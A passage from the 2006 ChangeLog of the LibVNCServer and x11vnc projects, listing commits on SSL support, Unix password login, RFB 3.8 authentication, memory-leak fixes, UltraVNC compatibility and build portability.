   5304 	* VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl: 
   5305 	no need for Time::HiRes to play back
   5306 
   5307 2006-06-15  dscho <dscho>
   5308 
   5309 	* VisualNaCro/recorder.pl: add timing
   5310 
   5311 2006-06-13  runge <runge>
   5312 
   5313 	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   5314 	x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   5315 	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
   5316 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
   5317 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h,
   5318 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5319 	x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY,
   5320 	HTTPONCE, -http_ssl option, Java fixes.
   5321 
   5322 2006-06-09  runge <runge>
   5323 
   5324 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c: 
   5325 	x11vnc: make -display WAIT + -unixpw work on Solaris.
   5326 
   5327 2006-06-08  runge <runge>
   5328 
   5329 	* ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
   5330 	x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
   5331 	x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c,
   5332 	x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c,
   5333 	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5334 	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
   5335 	x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5336 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   5337 	x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
   5338 	x11vnc/xwrappers.h:   x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command.
   5339 
   5340 2006-06-05  steven_carr <steven_carr>
   5341 
   5342 	* libvncclient/rfbproto.c, libvncserver/auth.c,
   5343 	libvncserver/rfbserver.c: RFB 3.8 clients are well informed
   5344 
   5345 2006-06-05  steven_carr <steven_carr>
   5346 
   5347 	* libvncserver/auth.c: Better support for RFB >= 3.8 protocols
   5348 
   5349 2006-06-05  steven_carr <steven_carr>
   5350 
   5351 	* libvncserver/auth.c: All security types for RFB >= 3.7 *have* to
   5352 	respond with a Security Result (Even rfbSecTypeNone)
   5353 
   5354 2006-06-03  runge <runge>
   5355 
   5356 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   5357 	x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c,
   5358 	x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h,
   5359 	x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   5360 	x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
   5361 	x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5362 	x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c,
   5363 	x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5364 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   5365 	x11vnc/xevents.h, x11vnc/xwrappers.c:  x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons.
   5366 
   5367 2006-06-03  runge <runge>
   5368 
   5369 	* libvncserver/auth.c: move all types into handler loop.
   5370 
   5371 2006-05-29  steven_carr <steven_carr>
   5372 
   5373 	* ChangeLog: Identified and removed some memory leaks associated
   5374 	with the Encodings RRE, CoRRE, ZLIB, and Ultra.  KeyboardLedState
   5375 	now has portable masks defined.  rfb >= 3.7 Security Type Handler
   5376 	list would grow 1 entry for each new client connection.
   5377 
   5378 2006-05-29  steven_carr <steven_carr>
   5379 
   5380 	* libvncserver/auth.c: Security Type memory leak plugged.  Leaks
   5381 	when rfb >= 3.7 clients connects.  The security list would grow 1
   5382 	entry when clients connect.
   5383 
   5384 2006-05-28  steven_carr <steven_carr>
   5385 
   5386 	* rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined
   5387 	for portability
   5388 
   5389 2006-05-28  steven_carr <steven_carr>
   5390 
   5391 	* libvncserver/corre.c, libvncserver/main.c,
   5392 	libvncserver/private.h, libvncserver/rfbserver.c,
   5393 	libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c: 
   5394 	Plugged some memory leakage
   5395 
   5396 2006-05-16  steven_carr <steven_carr>
   5397 
   5398 	* libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major
   5399 	version
   5400 
   5401 2006-05-16  steven_carr <steven_carr>
   5402 
   5403 	* libvncserver/auth.c: Specifically test for Major Version 3 added
   5404 
   5405 2006-05-16  steven_carr <steven_carr>
   5406 
   5407 	* ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column
   5408 	output
   5409 
   5410 2006-05-16  steven_carr <steven_carr>
   5411 
   5412 	* libvncserver/stats.c: Statistics output now fits in 80-column
   5413 	output
   5414 
   5415 2006-05-16  steven_carr <steven_carr>
   5416 
   5417 	* libvncserver/cursor.c: Corrected Cursor Statistics reporting as
   5418 	messages
   5419 
   5420 2006-05-15  dscho <dscho>
   5421 
   5422 	* libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded
   5423 	file
   5424 
   5425 2006-05-15  steven_carr <steven_carr>
   5426 
   5427 	* libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat
   5428 	messages back to the client
   5429 
   5430 2006-05-15  steven_carr <steven_carr>
   5431 
   5432 	* ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
   5433 	libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB
   5434 	3.8, add command line option to specify the RFB version.
   5435 
   5436 2006-05-15  steven_carr <steven_carr>
   5437 
   5438 	* ChangeLog, client_examples/SDLvncviewer.c,
   5439 	libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c,
   5440 	libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c,
   5441 	libvncserver/hextile.c, libvncserver/main.c,
   5442 	libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c,
   5443 	libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c,
   5444 	libvncserver/tightvnc-filetransfer/rfbtightproto.h,
   5445 	libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c,
   5446 	rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c,
   5447 	x11vnc/userinput.c: The great UltraVNC Compatibility Commit
   5448 
   5449 2006-05-13  runge <runge>
   5450 
   5451 	* ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h,
   5452 	libvncclient/minilzo.c, libvncclient/minilzo.h,
   5453 	libvncserver/lzoconf.h, libvncserver/minilzo.c,
   5454 	libvncserver/minilzo.h, libvncserver/rfbserver.c,
   5455 	libvncserver/scale.c, vncterm/Makefile.am:  fix some build issues WRT ultravnc code.
   5456 
   5457 2006-05-07  runge <runge>
   5458 
   5459 	* ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog,
   5460 	x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c,
   5461 	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
   5462 	x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c,
   5463 	x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c,
   5464 	x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   5465 	x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c,
   5466 	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5467 	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c,
   5468 	x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5469 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
   5470 	x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c,
   5471 	x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
   5472 	x11vnc/xwrappers.h:  x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp
   5473 	 option, -rawfb console.
   5474 
   5475 2006-05-04  steven_carr <steven_carr>
   5476 
   5477 	* ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c,
   5478 	rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability
   5479 	Encodings rfbEncodingSupportedEncodings - What encodings are
   5480 	supported? rfbEncodingSupportedMessages  - What message types are
   5481 	supported? rfbEncodingServerIdentity     - What is the servers
   5482 	version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer
   5483 	0.9pre)"
   5484 
   5485 2006-05-04  steven_carr <steven_carr>
   5486 
   5487 	* libvncclient/rfbproto.c: UltraVNC with scaling, will send
   5488 	rectangles with a zero W or H We need to process the rectangle
   5489 	(especially if it a type that contains subrectangles or any kind of
   5490 	compression).   UltraVNC should be fixed to prevent these useless
   5491 	rectangles from being sent.
   5492 
   5493 2006-05-04  steven_carr <steven_carr>
   5494 
   5495 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
   5496 	rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server
   5497 	Side Scaling'
   5498 
   5499 2006-05-04  steven_carr <steven_carr>
   5500 
   5501 	* rfb/rfbproto.h: KeyboardLedState should be placed in 'various
   5502 	protocol extensions'
   5503 
   5504 2006-05-03  steven_carr <steven_carr>
   5505 
   5506 	* ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c,
   5507 	libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c,
   5508 	libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c,
   5509 	libvncserver/scale.h, libvncserver/stats.c, libvncserver/tight.c,
   5510 	libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c,
   5511 	rfb/rfb.h: Client Independent Server Side Scaling is now supported
   5512 	Both PalmVNC and UltraVNC SetScale messages are supported
   5513 
   5514 2006-05-02  steven_carr <steven_carr>
   5515 
   5516 	* ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h,
   5517 	libvncclient/minilzo.c, libvncclient/minilzo.h,
   5518 	libvncclient/rfbproto.c, libvncclient/ultra.c,
   5519 	libvncclient/vncviewer.c, libvncserver/Makefile.am,
   5520 	libvncserver/lzoconf.h, libvncserver/minilzo.c,
   5521 	libvncserver/minilzo.h, libvncserver/rfbserver.c,
   5522 	libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding
   5523 	added.   Tested against UltraVNC V1.01
   5524 
   5525 2006-05-02  steven_carr <steven_carr>
   5526 
   5527 	* libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed
   5528 
   5529 2006-05-02  steven_carr <steven_carr>
   5530 
   5531 	* libvncclient/vncviewer.c: Eliminate incompatible pointer
   5532 	assignment warning (gcc 4.0.1)
   5533 
   5534 2006-05-02  steven_carr <steven_carr>
   5535 
   5536 	* libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c: 
   5537 	signed vs unsigned warnings eliminated (gcc 4.0.1)
   5538 
   5539 2006-04-30  dscho <dscho>
   5540 
   5541 	* examples/Makefile.am: include rotatetemplate.c in the tarball
   5542 
   5543 2006-04-28  dscho <dscho>
   5544 
   5545 	* client_examples/SDLvncviewer.c, libvncclient/rfbproto.c,
   5546 	rfb/rfbclient.h: libvncclient: support changing of framebuffer size;
   5547 	make SDLvncviewer use it
   5548 
   5549 2006-04-28  dscho <dscho>
   5550 
   5551 	* client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which
   5552 	are not divisible by 8
   5553 
   5554 2006-04-27  dscho <dscho>
   5555 
   5556 	* ChangeLog, examples/.cvsignore, examples/Makefile.am,
   5557 	examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c: 
   5558 	add rotate and flip example
   5559 
   5560 2006-04-27  dscho <dscho>
   5561 
   5562 	* examples/camera.c: malloc.h should not be needed (it is missing on
   5563 	quite a few platforms)
   5564 
   5565 2006-04-26  runge <runge>
   5566 
   5567 	* ChangeLog, classes/ssl/ssl_vncviewer,
   5568 	client_examples/Makefile.am, configure.ac, contrib/Makefile.am,
   5569 	examples/Makefile.am, libvncclient/Makefile.am,
   5570 	libvncserver/Makefile.am,
   5571 	libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am,
   5572 	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c,
   5573 	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
   5574 	x11vnc/x11vnc_defs.c:  Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h
   5575 
   5576 2006-04-17  steven_carr <steven_carr>
   5577 
   5578 	* ChangeLog, examples/Makefile.am, examples/camera.c: Added an
   5579 	example camera application to demonstrate another way to write a
   5580 	server application.
   5581 
   5582 2006-04-16  runge <runge>
   5583 
   5584 	* classes/ssl/ssl_vncviewer,
   5585 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   5586 	x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
   5587 	x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
   5588 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:  Apache SSL gateway. More web proxy cases for Java and
   5589 	 ssl_vncviewer.
   5590 
   5591 2006-04-05  runge <runge>
   5592 
   5593 	* ChangeLog, classes/ssl/Makefile.am, classes/ssl/README,
   5594 	classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer,
   5595 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   5596 	configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
   5597 	x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c,
   5598 	x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c,
   5599 	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h,
   5600 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c,
   5601 	x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
   5602 	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5603 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5604 	x11vnc/x11vnc_defs.c:  SSL Java viewer work thru proxy.  -sslGenCA, etc key/cert
   5605 	 management utils for x11vnc.  FBPM "support".
   5606 
   5607 2006-03-28  dscho <dscho>
   5608 
   5609 	* ChangeLog, client_examples/SDLvncviewer.c,
   5610 	libvncclient/rfbproto.c, libvncclient/vncviewer.c,
   5611 	libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h,
   5612 	rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension
   5613 
   5614 2006-03-28  runge <runge>
   5615 
   5616 	* ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am,
   5617 	classes/ssl/index.vnc,
   5618 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
   5619 	-traversal.patch,
   5620 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   5621 	configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh,
   5622 	x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   5623 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
   5624 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c,
   5625 	x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c,
   5626 	x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c,
   5627 	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc,
   5628 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   5629 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   5630 	x11vnc/xwrappers.c:  SSL patch for Java viewer.  https support for x11vnc.
   5631 
   5632 2006-03-27  dscho <dscho>
   5633 
   5634 	* AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore
   5635 	maxRectsPerUpdate when encoding is Zlib (thanks scarr)
   5636 
   5637 2006-03-27  dscho <dscho>
   5638 
   5639 	* libvncclient/vncviewer.c: libvncclient: take -compress <level> and
   5640 	-quality <level> command line arguments
   5641 
   5642 2006-03-12  runge <runge>
   5643 
   5644 	* configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
   5645 	x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
   5646 	x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c,
   5647 	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   5648 	x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c,
   5649 	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc,
   5650 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   5651 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   5652 	x11vnc/xevents.c:  x11vnc: add -ssl mode using libssl.  Include Xdummy in misc.
   5653 
   5654 2006-03-08  runge <runge>
   5655 
   5656 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   5657 	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   5658 	x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h,
   5659 	x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5660 	x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5661 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h:  x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw,
   5662 	 -debug_sel, -storepasswd homedir.
   5663 
   5664 2006-03-06  runge <runge>
   5665 
   5666 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   5667 	x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c,
   5668 	x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c,
   5669 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
   5670 	x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5671 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h:  x11vnc: gui speedup and fixes. -unixpw and -inetd
   5672 
   5673 2006-03-05  runge <runge>
   5674 
   5675 	* configure.ac, x11vnc/ChangeLog, x11vnc/README,
   5676 	x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c,
   5677 	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   5678 	x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc,
   5679 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
   5680 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5681 	x11vnc/x11vnc_defs.c:  x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel
   5682 	 and gui tweaks.
   5683 
   5684 2006-03-03  runge <runge>
   5685 
   5686 	* configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
   5687 	x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h,
   5688 	x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc,
   5689 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
   5690 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5691 	x11vnc/x11vnc_defs.c:  x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via
   5692 	 -R. Tune SMALL_FOOTPRINT.
   5693 
   5694 2006-03-01  dscho <dscho>
   5695 
   5696 	* examples/Makefile.am, examples/blooptest.c, examples/example.c: 
   5697 	Fix blooptest example
   5698 
   5699 2006-03-01  dscho <dscho>
   5700 
   5701 	* rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h
   5702 
   5703 2006-03-01  dscho <dscho>
   5704 
   5705 	* libvncserver/main.c: do not timeout on idle client input (with
   5706 	pthreads)
   5707 
   5708 2006-03-01  dscho <dscho>
   5709 
   5710 	* examples/Makefile.am: if compiling with pthreads, also compile
   5711 	blooptest
   5712 
   5713 2006-02-28  dscho <dscho>
   5714 
   5715 	* libvncserver/sockets.c: rfbCheckFds now returns the number of
   5716 	processed events
   5717 
   5718 2006-02-28  dscho <dscho>
   5719 
   5720 	* AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c,
   5721 	rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald)
   5722 
   5723 2006-02-25  runge <runge>
   5724 
   5725 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
   5726 	x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c,
   5727 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
   5728 	x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
   5729 	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
   5730 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   5731 	x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
   5732 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
   5733 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c,
   5734 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5735 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
   5736 	x11vnc/xrecord.c:  x11vnc: -unixpw and -stunnel.  Add clipboard to input control.
   5737 
   5738 2006-02-24  rohit_99129 <rohit_99129>
   5739 
   5740 	* libvncserver/main.c, rfb/rfb.h: Added method to get extension
   5741 	specific client data
   5742 
   5743 2006-02-24  rohit_99129 <rohit_99129>
   5744 
   5745 	* ChangeLog, libvncserver/main.c,
   5746 	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 
   5747 	Added method to get extension specific client data
   5748 
   5749 2006-02-22  dscho <dscho>
   5750 
   5751 	* ChangeLog, libvncserver/auth.c, libvncserver/main.c,
   5752 	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add
   5753 	functions to unregister extensions/security types
   5754 
   5755 2006-02-21  dscho <dscho>
   5756 
   5757 	* configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about
   5758 	order of libraries
   5759 
   5760 2006-02-20  runge <runge>
   5761 
   5762 	* ChangeLog, configure.ac, libvncserver/cursor.c,
   5763 	libvncserver/main.c,
   5764 	libvncserver/tightvnc-filetransfer/filelistinfo.c,
   5765 	libvncserver/tightvnc-filetransfer/filetransfermsg.c,
   5766 	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
   5767 	prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   5768 	x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c,
   5769 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c:  fix some non-gcc compiler warnings and signals in x11vnc
   5770 
   5771 2006-02-07  runge <runge>
   5772 
   5773 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1,
   5774 	x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno.
   5775 
   5776 2006-02-06  runge <runge>
   5777 
   5778 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   5779 	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c:  x11vnc: -8to24 more speedups; tunables for very slow machines.
   5780 
   5781 2006-02-05  runge <runge>
   5782 
   5783 	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
   5784 	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
   5785 	x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c,
   5786 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   5787 	x11vnc/xinerama.c:  x11vnc: -8to24 speedups and improvements.
   5788 
   5789 2006-01-22  runge <runge>
   5790 
   5791 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   5792 	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
   5793 	x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc,
   5794 	x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1,
   5795 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:  x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and
   5796 	 -rawfb crash
   5797 
   5798 2006-01-19  runge <runge>
   5799 
   5800 	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
   5801 	x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c,
   5802 	x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1,
   5803 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:  x11vnc: -8to24 now works on default depth 8 displays.
   5804 
   5805 2006-01-16  runge <runge>
   5806 
   5807 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   5808 	x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c:  x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24
   5809 
   5810 2006-01-15  runge <runge>
   5811 
   5812 	* ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog,
   5813 	x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c,
   5814 	x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
   5815 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc,
   5816 	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c,
   5817 	x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5818 	x11vnc/x11vnc_defs.c:  x11vnc: add -8to24 option for some multi-depth displays.
   5819 
   5820 2006-01-12  runge <runge>
   5821 
   5822 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   5823 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac:
   5824 	add switches for most X extensions.
   5825 
   5826 2006-01-11  runge <runge>
   5827 
   5828 	* libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README,
   5829 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be
   5830 	initialized too; in rfbDefaultLog.
   5831 
   5832 2006-01-11  runge <runge>
   5833 
   5834 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   5835 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c,
   5836 	x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
   5837 	x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
   5838 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
   5839 	x11vnc/xrecord.c:  x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug,
   5840 	 fix 64bit bug for -solid.
   5841 
   5842 2006-01-10  dscho <dscho>
   5843 
   5844 	* ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 
   5845 	rfbProcessEvents() has to iterate also over clients with sock < 0 to
   5846 	close them
   5847 
   5848 2006-01-09  runge <runge>
   5849 
   5850 	* ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog,
   5851 	x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h,
   5852 	x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h,
   5853 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
   5854 	x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
